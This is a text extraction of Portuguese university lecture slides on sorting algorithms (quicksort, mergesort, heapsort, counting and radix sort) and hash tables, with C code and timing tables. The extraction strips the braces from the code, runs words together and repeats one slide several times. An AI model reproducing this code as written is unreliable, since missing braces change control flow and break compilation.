Page 537: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Utilização de Listas – Interface

typedef struct node *link;

struct node Item item; link next; ;

link NEW(Item, link);

link init(int);

void show(link);

link sort(link);

AED 2003/2004 – p.467/554

Page 538: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Utilização de Listas – Selection Sort

link listselection(link h)

link max, t, out = NULL;

while (h->next != NULL)

max = findmax(h);

t = max->next; max->next = t->next;

t->next = out; out = t;

h->next = out;

return(h);

A cada passo retira máximo elemento de lista actual, ecoloca no topo da nova lista

AED 2003/2004 – p.468/554

Page 539: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Parte XIII

Sedgewick, Cap. 7-10

AED 2003/2004 – p.469/554

Page 540: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Algoritmos Eficientes de Ordenação

Quick Sort

Merge Sort

Heap Sort

Utilizar informação das chaves:Counting SortRadix Sort

AED 2003/2004 – p.470/554

Page 541: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Quick Sort - Introdução

Inventado nos anos 60 por A.R. Hoare

Vantagensmuito estudado e analisadopopular devido à facilidade de implementação eeficiência:

O(NlgN ), em média, para ordenar N objectosciclo interno muito simples e conciso

Inconvenientesnão é estável; O(N2) no pior caso!frágil : qualquer pequeno erro de concretizaçãopode não ser detectado mas levar a ineficiência

Biblioteca C fornece uma concretização - qsort

AED 2003/2004 – p.471/554

Page 542: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

QuickSort [2]

Aplica método dividir para conquistar para ordenar

Ideia chave: efectuar partição dos dados e ordenar asvárias partes independentemente (de forma recursiva)

particionar os dados: menores para um lado,maiores para outrousar recurção e aplicar algoritmo a cada uma daspartesprocesso de partição é crítico

evitar partições degeneradas

AED 2003/2004 – p.472/554

Page 543: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

QuickSort - Partição

Recebe vector a e a parte do vector a ordenar - [l, r]

Rearranja os elementos do vector de forma a que astrês condições seguintes sejam válidas (de a[l] a a[r]):

o elemento a[i], para algum i, fica na sua posiçãofinalnenhum dos elementos em a[l]...a[i − 1] é maior doque a[i]

nenhum dos elementos em a[i + 1]...a[r] é menor doque a[i]

processo coloca pelo menos um elemento na suaposição final (Qual?)

Após partição, a tabela fica sub-dividida em duaspartes que podem ser ordenadas independentementeaplicando o mesmo processo

AED 2003/2004 – p.473/554

Page 544: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

QuickSort - Concretização [1]

Ordenação realizada através de partição + aplicaçãorecursiva do algoritmo aos dois subconjuntos de dadosdaí resultantes

void quicksort(Item a[], int l, int r)

int i;

if (r <= l)

return;

i = partition(a, l, r);

quicksort(a, l, i-1);

quicksort(a, i+1, r);

AED 2003/2004 – p.474/554

Page 545: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

QuickSort - Concretização [2]

int partition(Item a[], int l, int r)

int i, j;

Item v;

v = a[r];

i = l-1;

j = r;

for (;;)

while (less(a[++i], v)) ;

while (less(v, a[--j]))

if (j == l)

break;

if (i >= j)

break;

exch(a[i], a[j]);

exch(a[i], a[r]);

return i;

AED 2003/2004 – p.475/554

Page 546: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

QuickSort – Complexidade [1]

Ineficiente se vector já ordenado (pior caso)

cerca de N2/2 comparações

Demonstração: se o ficheiro já estiver ordenado, todasas partições degeneram e o programa chama-se a sipróprio N vezes;o número de comparações é deN + (N − 1) + (N − 2) + ... + 2 + 1 = (N + 1)N/2 (mesmasituação se o ficheiro estiver ordenado por ordeminversa)

Não apenas o tempo necessário para a execução doalgoritmo cresce quadraticamente como o espaçonecessário para o processo recursivo é de cerca de N oque é inaceitável para vectores grandes

AED 2003/2004 – p.476/554

Page 547: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

QuickSort – Complexidade [2]

Melhor caso: quando cada partição divide o vector deentrada em duas metades iguais

número de comparações usadas por quicksortsatisfaz a recursão de dividir para conquistarCN = 2C(N/2) + N

solução : CN = NlgN (vimos numa aula anterior)

Propriedade: QuickSort usa cerca de 2NlgNcomparações em média

AED 2003/2004 – p.477/554

Page 548: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

QuickSort - Melhoramentos [1]

Algoritmo pode ainda ser melhorado com alteraçõestriviais

ordenação de sub-vectores de pequenas dimensõespode ser efectuada de forma mais eficiente

natureza recursiva de QuickSort garante que umafracção grande dos sub-vectores terão tamanhopequeno

como escolher correctamente o elemento departição?

aleatoriamentemédia de vários elementos

Como melhorar o desempenho se os dados tiveremum grande número de chaves repetidas?

AED 2003/2004 – p.478/554

Page 549: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Melhoramento Vectores Pequenos

QuickSort é garantido instanciar-se a si própriomúltiplas vezes para vectores pequenos!

Conveniente utilizar o melhor método possível nestasituação

Insertion sort

Solução: algoritmo híbrido: (bom método em geral)

Usarif (r-l <= M) insertion(a, l, r); return; em vez deif (r <= l) return;

AED 2003/2004 – p.479/554

Page 550: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Merge Sort

Item aux[maxN];

merge(Item a[], int l, int m, int r)

int i, j, k;

for (i = m+1; i > l; i--) aux[i-1] = a[i-1];

for (j = m; j < r; j++) aux[r+m-j] = a[j+1];

for (k = l; k <= r; k++)

if (less(aux[i], aux[j]))

a[k] = aux[i++]; else a[k] = aux[j--];

void mergesort(Item a[], int l, int r)

int m = (r+l)/2;

if (r <= l) return;

mergesort(a, l, m);

mergesort(a, m+1, r);

merge(a, l, m, r);

AED 2003/2004 – p.480/554

Page 551: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Merge Sort – Complexidade

Tempo de execução:

TN = TbN/2c + TdN/2e + O(N)

= O(N log N)

Fácil de verificar quando N é potência de 2, e no casogeral recorrendo a indução

Complexidade pior caso é O(N log N)

É estável

AED 2003/2004 – p.481/554

Page 552: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Merge Sort – Bottom-Up

#define min(A, B) (A < B) ? A : B

void mergesortBU(Item a[], int l, int r)

int i, m;

for (m = 1; m < r-l; m = m+m)

for (i = l; i <= r-m; i += m+m)

merge(a, i, i+m-1, min(i+m+m-1, r));

AED 2003/2004 – p.482/554

Page 553: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Merge Sort com Listas

link merge(link a, link b)

struct node head; link c = &head;

while ((a != NULL) && (b != NULL))

if (less(a->item, b->item))

c->next = a; c = a; a = a->next;

else

c->next = b; c = b; b = b->next;

c->next = (a == NULL) ? b : a;

return head.next;

link mergesort(link c)

link a, b;

if (c->next == NULL) return c;

a = c; b = c->next;

while ((b != NULL) && (b->next != NULL))

c = c->next; b = b->next->next;

b = c->next; c->next = NULL;

return merge(mergesort(a), mergesort(b));

AED 2003/2004 – p.483/554

Page 554: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Heap Sort

#define pq(A) a[l-1+A]

void heapsort(Item a[], int l, int r)

int k, N = r-l+1;

for (k = N/2; k >= 1; k--)

fixDown(&pq(0), k, N);

while (N > 1)

exch(pq(1), pq(N));

fixDown(&pq(0), 1, --N);

AED 2003/2004 – p.484/554

Page 555: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Heap Sort – Complexidade

Construção do amontoado (ciclo for):O(N log N) no pior caso

É possível assegurar O(N)

Colocação das chaves (ciclo while):O(N log N) no pior caso

Complexidade pior caso é O(N log N)

Não é estável

AED 2003/2004 – p.485/554

Page 556: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Avaliação Experimental

N Quick Merge Heap12500 2 5 325000 7 11 850000 13 24 18

100000 27 52 42200000 58 111 100400000 122 238 232800000 261 520 542

AED 2003/2004 – p.486/554

Page 557: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Ordenação por Comparação

Algoritmos de ordenação baseados em comparaçõessão Ω(n log n)

Para n chaves existem n! ordenações possíveis daschavesAlgoritmo de ordenação por comparação utilizacomparações de pares de chaves para seleccionaruma das n! ordenações

Escolher uma folha em árvore com n! folhasAltura da árvore é não inferior log(n!) = Ω(n log n)

É possível obter algoritmos mais eficientes desde quenão sejam baseados em comparações:

Utilizar informação quanto às chaves utilizadasCounting SortRadix Sort

AED 2003/2004 – p.487/554

Page 558: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Counting Sort – Motivação

Ordenar N = r − l + 1

Chaves podem tomar valor entre 0 e M − 1

Se existem k0 chaves com valor 0, então ocupam asprimeiras k0 posições do array final, 0 a k0 − 1

Se existem k1 chaves com valor 1, então ocupam asposições k0 a k0 + k1 − 1 posições do array final

...

Necessário vectores auxiliares para guardar contagense para construir array ordenado

AED 2003/2004 – p.488/554

Page 559: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Counting Sort: Os Passos

Usa vector auxiliares cnt[M + 1] e b[maxN ]

Passo 1 - inicializa cada posição de cnt a 0

Passo 2Para cada posição i de a cnt[a[i] + 1] + +

No fim, cada posição i de cnt tem o número devezes que a chave i − 1 aparece em a

Passo 3 - Acumula em cada elemento de cnt oselementos anteriores: cnt[i] indica a posição ordenadado primeiro elemento com chave i

Passo 4 - Guarda em b os valores de a ordenados:b[cnt[a[i]]++] = a[i]

Passo 5 - Copia b para a

AED 2003/2004 – p.489/554

Page 560: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Counting Sort I

void distcount(int a[], int l, int r)

int i, j, cnt[M+1];

int b[maxN];

for (j = 0; j <= M; j++) cnt[j] = 0;

for (i = l; i <= r; i++) cnt[a[i]+1]++;

for (j = 1; j < M; j++) cnt[j] += cnt[j-1];

for (i = l; i <= r; i++) b[cnt[a[i]]++] = a[i];

for (i = l; i <= r; i++) a[i] = b[i];

AED 2003/2004 – p.490/554

Page 561: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Counting Sort – Características

Complexidade em tempo de execuçãoDois ciclos relativos à dimensão das chaves M

Três ciclos relativos às N chavesComplexidade: O(N + M)

Estável

Não é in-place

Pode suceder que tamanho maxN maior que N

AED 2003/2004 – p.491/554

Page 562: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Counting Sort II

void distcount(int a[], int l, int r)

int i, j, cnt[M];

int b[maxN];

for (j = 0; j < M; j++) cnt[j] = 0;

for (i = l; i <= r; i++) cnt[a[i]]++;

for (j = 1; j < M; j++) cnt[j] += cnt[j-1];

for (i = r; i >= l; i--) b[--cnt[a[i]]] = a[i];

for (i = l; i <= r; i++) a[i] = b[i];

Diferenças??Definição do valor cnt[j]Estabilidade do algoritmo ??

AED 2003/2004 – p.492/554

Page 563: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Radix Sort – Definições

Chaves - sequências de bits que definem número baseR

Radix sort - considera um dígito da chave de cada vez

#define bitsword 32

#define bitsbyte 8

#define bytesword 4

#define R (1 << bitsbyte)

#define digit(A, B) (((A) >> (bitsword-((B)+1)*bitsbyte)) & (R-1))

Para strings:

#define digit(A, B) A[B]

AED 2003/2004 – p.493/554

Page 564: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Radix Sort I – MSD

Começando no dígito mais significativo, considerarcada n-ésimo dígito e ordenar vector usando apenasesse dígito

Realização: Para cada dígito, do de maior peso para ode menor peso:

Colocar chaves em M caixas (uma para cada valorpossível)Ordenar elementos de cada caixa utilizando dígitossubsequentesSe número de elementos não superior a M , utilizarinsertion sort

AED 2003/2004 – p.494/554

Page 565: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Radix Sort I – MSD

#define bin(A) l+count[A]

void radixMSD(Item a[], int l, int r, int w)

int i, j, count[R+1];

if (w > bytesword) return;

if (r-l <= M) insertion(a, l, r); return;

for (j = 0; j < R; j++) count[j] = 0;

for (i = l; i <= r; i++)

count[digit(a[i], w) + 1]++;

for (j = 1; j < R; j++)

count[j] += count[j-1];

for (i = l; i <= r; i++)

aux[l+count[digit(a[i], w)]++] = a[i];

for (i = l; i <= r; i++) a[i] = aux[i];

radixMSD(a, l, bin(0)-1, w+1);

for (j = 0; j < R-1; j++)

radixMSD(a, bin(j), bin(j+1)-1, w+1);

Memória adicional?AED 2003/2004 – p.495/554

Page 566: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Radix Sort II – LSD

Utilizar dígitos, do menor peso para o maior peso:Ordena vector usando counting sort para cada dígito

for tea tag acetip ace tar agoilk fee caw caw

tag wee ace feeace tag tea forfee ilk fee ilk

ago ago wee tagcaw tip ago tar

tar for tip teatea tar ilk tip

wee caw for weeAED 2003/2004 – p.496/554

Page 567: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Radix Sort LSD

void radixLSD(Item a[], int l, int r)

int i, j, w, count[R+1];

for (w = bytesword-1; w >= 0; w--)

for (j = 0; j < R; j++) count[j] = 0;

for (i = l; i <= r; i++)

count[digit(a[i], w) + 1]++;

for (j = 1; j < R; j++)

count[j] += count[j-1];

for (i = l; i <= r; i++)

aux[count[digit(a[i], w)]++] = a[i];

for (i = l; i <= r; i++) a[i] = aux[i];

Aplicável apenas a chaves tamanho fixo

AED 2003/2004 – p.497/554

Page 568: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Eficiência dos Radix Sorts

Radix SortTempo de execução cresce com número de bytesdos elementos a ordenar

MSD Radix SortPode ser sublinear na quantidade total deinformação das chaves

LSD Radix SortO(N · w/ log R), para chaves com w bits

mais preciso: O(w/b(N + 2b)). Mínimo ocorre parab = 0.83lgNEspaço adicional: R contadores e vector comtamanho N

AED 2003/2004 – p.498/554

Page 569: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Avaliação Experimental

4 bytes 8 bytes 16 bytesN Quick MSD LSD MSD LSD LSD

12500 2 7 11 28 4 525000 5 14 21 29 8 850000 10 49 43 35 18 15

100000 21 77 92 47 39 30200000 49 133 185 72 81 56400000 102 278 377 581 169 110800000 223 919 732 6064 328 219

AED 2003/2004 – p.499/554

Page 570: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

AED 2003/2004 – p.500/554

Page 571: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Parte XIV

Sedgewick, Cap. 14

AED 2003/2004 – p.501/554

Page 572: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Tabelas de Dispersão

Funções de dispersão

Encadeamento externo

Procura linear

Double hashing (dispersão dupla)

Eficiência da procura

AED 2003/2004 – p.502/554

Page 573: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Tabelas de Dispersão

Funções de dispersão

Encadeamento externo

Procura linear

Double hashing (dispersão dupla)

Eficiência da procura

AED 2003/2004 – p.502/554

Page 574: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Tabelas de Dispersão

Funções de dispersão

Encadeamento externo

Procura linear

Double hashing (dispersão dupla)

Eficiência da procura

AED 2003/2004 – p.502/554

Page 575: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Tabelas de Dispersão

Funções de dispersão

Encadeamento externo

Procura linear

Double hashing (dispersão dupla)

Eficiência da procura

AED 2003/2004 – p.502/554

Page 576: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Tabelas de Dispersão

Funções de dispersão

Encadeamento externo

Procura linear

Double hashing (dispersão dupla)

Eficiência da procura

AED 2003/2004 – p.502/554

Page 577: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Tabelas de Dispersão - Introdução

Concretização do ADT Tabela de SímbolosNão percorre estrutura de dados comparando achaveUsa a chave para obter endereço da tabela

Operações eficientes: STinsert, STdelete e STsearch

Operações ineficientes: STselect e STsort

AED 2003/2004 – p.503/554

Page 578: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Função de dispersão - I

Transforma a chave num inteiro [0,M − 1] (M tamanhoda tabela)

Definicao: Colisão - ocorre quando a função dedispersão devolve o mesmo valor para chaves distintas

Definicao: Função de dispersão ideal: A probabilidadede ocorrer uma colisão para duas chaves distintas é1/M .

AED 2003/2004 – p.504/554

Page 579: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Funções de dispersão - II

Deve distribuir as chaves de forma uniforme e quasealeatória

Deve ser rápida de calcular

Deve envolver todos os bits da chave

Diferentes funções devem ser usadas para diferentestipos de dados

Cadeias de caracteresInteirosReais

AED 2003/2004 – p.505/554

Page 580: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Funções de dispersão para números

hash(k) = k mod M

M deve ser um primo, para evitar colisões (e.g., M=256é muito mau)

Para reaisEscalar para a gama [0,1.0]Multiplicar por 2w, para obter um inteiro de w bits, k

Obter hash(k) = k mod M

AED 2003/2004 – p.506/554

Page 581: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Função de dispersão para strings

Calcula uma soma ponderada dos carateres

Soma é feita módulo M

M deve ser um primo, para evitar colisões

int hash(char *v, int M) int h = 0, a = 127;for (; *v != ’\0’; v++)

h = (a*h + *v) % M;return h;

AED 2003/2004 – p.507/554

Page 582: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Função de dispersão para strings II

Recalcula a base em cada iteração

Evita anomalias com chaves altamente regulares

int hashU(char *v, int M) int h, a = 31415, b = 27183;for (h = 0; *v != ’\0’; v++, a = a*b % (M-1))

h = (a*h + *v) % M;return h;

AED 2003/2004 – p.508/554

Page 583: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Resolução por encadeamento externo

Cada posição da tabela tem um ponteiro para uma lista

Colisões são resolvidas juntando o elemento ao inícioda lista

Apagamentos são resolvidos apagando o elemento dalista

70 14 707

72

19 75

0

1

2

3

4

5

6

Ordem de inserção: 707, 72, 14, 70, 75, 19

hash(k) = k mod 7

AED 2003/2004 – p.509/554

Page 584: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Resolução por encadeamento externo

static link *heads, z;

static int N, M;

void STinit(int max)

int i;

N = 0; M = max/5;

heads = malloc(M*sizeof(link));

z = NEW(NULLitem, NULL);

for (i = 0; i < M; i++) heads[i] = z;

Item STsearch(Key v)

return searchR(heads[hash(v, M)], v);

void STinsert(Item item)

int i = hash(key(item), M);

heads[i] = NEW(item, heads[i]); N++;

void STdelete(Item item)

int i = hash(key(item), M);

heads[i] = deleteR(heads[i], item);

AED 2003/2004 – p.510/554

Page 585: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Eficiência das tabelas de dispersão

Resolução externa (listas ligadas)

Comprimento médio das listas é N/M

A probabilidade de o número de chaves numa lista sermaior ou igual a tα é de (αe

t )te−α onde α = NM .

Se α = 20, a probabilidade de uma uma lista ter maisde 40 items é 0.0000016.

AED 2003/2004 – p.511/554

Page 586: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Resolução por procura linear

Em vez de uma lista ligada, guarda elementos naprópria tabela

Obriga a conhecer em avanço o número máximo deelementos: (M > N )

Se a posição k estiver ocupada, guarda o item naposição seguinte livre (linear probing).

hash(k) = k mod 7

0

1

2

3

4

5

6

70

14

72

77

19

75

ORDEM DE INSERÇAO: 70, 72, 14, 77, 19, 75

AED 2003/2004 – p.512/554

Page 587: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Resolução por procura linear

#include <stdlib.h>

#include "Item.h"

#define null(A) (key(st[A]) == key(NULLitem))

static int N, M;

static Item *st;

void STinit(int max)

int i;

N = 0; M = 2*max;

st = malloc(M*sizeof(Item));

for (i = 0; i < M; i++) st[i] = NULLitem;

int STcount() return N;

void STinsert(Item item)

Key v = key(item);

int i = hash(v, M);

while (!null(i)) i = (i+1) % M;

st[i] = item; N++;

AED 2003/2004 – p.513/554

Page 588: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Resolução por procura linear

Resolução de conflitos: se a posição correspondenteao índice devolvido pela função de dispersão estiverocupada, incrementar o índice até encontrar primeiraposição livre.

Item STsearch(Key v)

int i = hash(v, M);

while (!null(i))

if eq(v, key(st[i])) return st[i];

else i = (i+1) % M;

return NULLitem;

AED 2003/2004 – p.514/554

Page 589: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Remoção de Items

Após achar o item, coloca-se a posição a NULL

Reinserem-se todos os items que se seguem, até àpróxima posição vazia

void STdelete(Item item)

int j, i = hash(key(item), M); Item v;

while (!null(i))

if eq(key(item), key(st[i])) break;

else i = (i+1) % M;

if (null(i)) return;

st[i] = NULLitem; N--;

for (j = i+1; !null(j); j = (j+1) % M, N--)

v = st[j]; st[j] = NULLitem; STinsert(v);

AED 2003/2004 – p.515/554

Page 590: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Eficiência das tabelas de dispersão

Solução por procura linear

α = N/M tem de ser menor que 1.

Número de operações necessário para achar um itemé:

Hits: 12(1 + 1

1−α)

Misses: 12(1 + 1

(1−α)2 )

Número de operações cresce rapidamente quandoα → 1.0

α 0.5 0.667 0.75 0.9hit 1.5 2.0 3.0 5.5

miss 2.5 5.0 8.5 55.5

AED 2003/2004 – p.516/554

Page 591: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Resolução por double hashing

Guarda elementos na tabela, como na procura linear

Usa outra técnica pra resolver conflitosEm vez de procurar em sequência, usa umasegunda função de hashing para determinar oincrementoIncremento deve ser maior que 0 e primorelativamente ao tamanho da tabelaDiminui o número de operações relativamente àprocura linearOperações só se tornam demasiado lentas quandoo factor de carga atinge o valor 90% - 95%

AED 2003/2004 – p.517/554

Page 592: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Resolução por double hashing

void STinsert(Item item)

Key v = key(item);

int i = hash(v, M);

int k = hashtwo(v, M);

while (!null(i)) i = (i+k) % M;

st[i] = item; N++;

Item STsearch(Key v)

int i = hash(v, M);

int k = hashtwo(v, M);

while (!null(i))

if eq(v, key(st[i])) return st[i];

else i = (i+k) % M;

return NULLitem;

AED 2003/2004 – p.518/554

Page 593: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Eficiência das tabelas de dispersão

Solução por double hashing

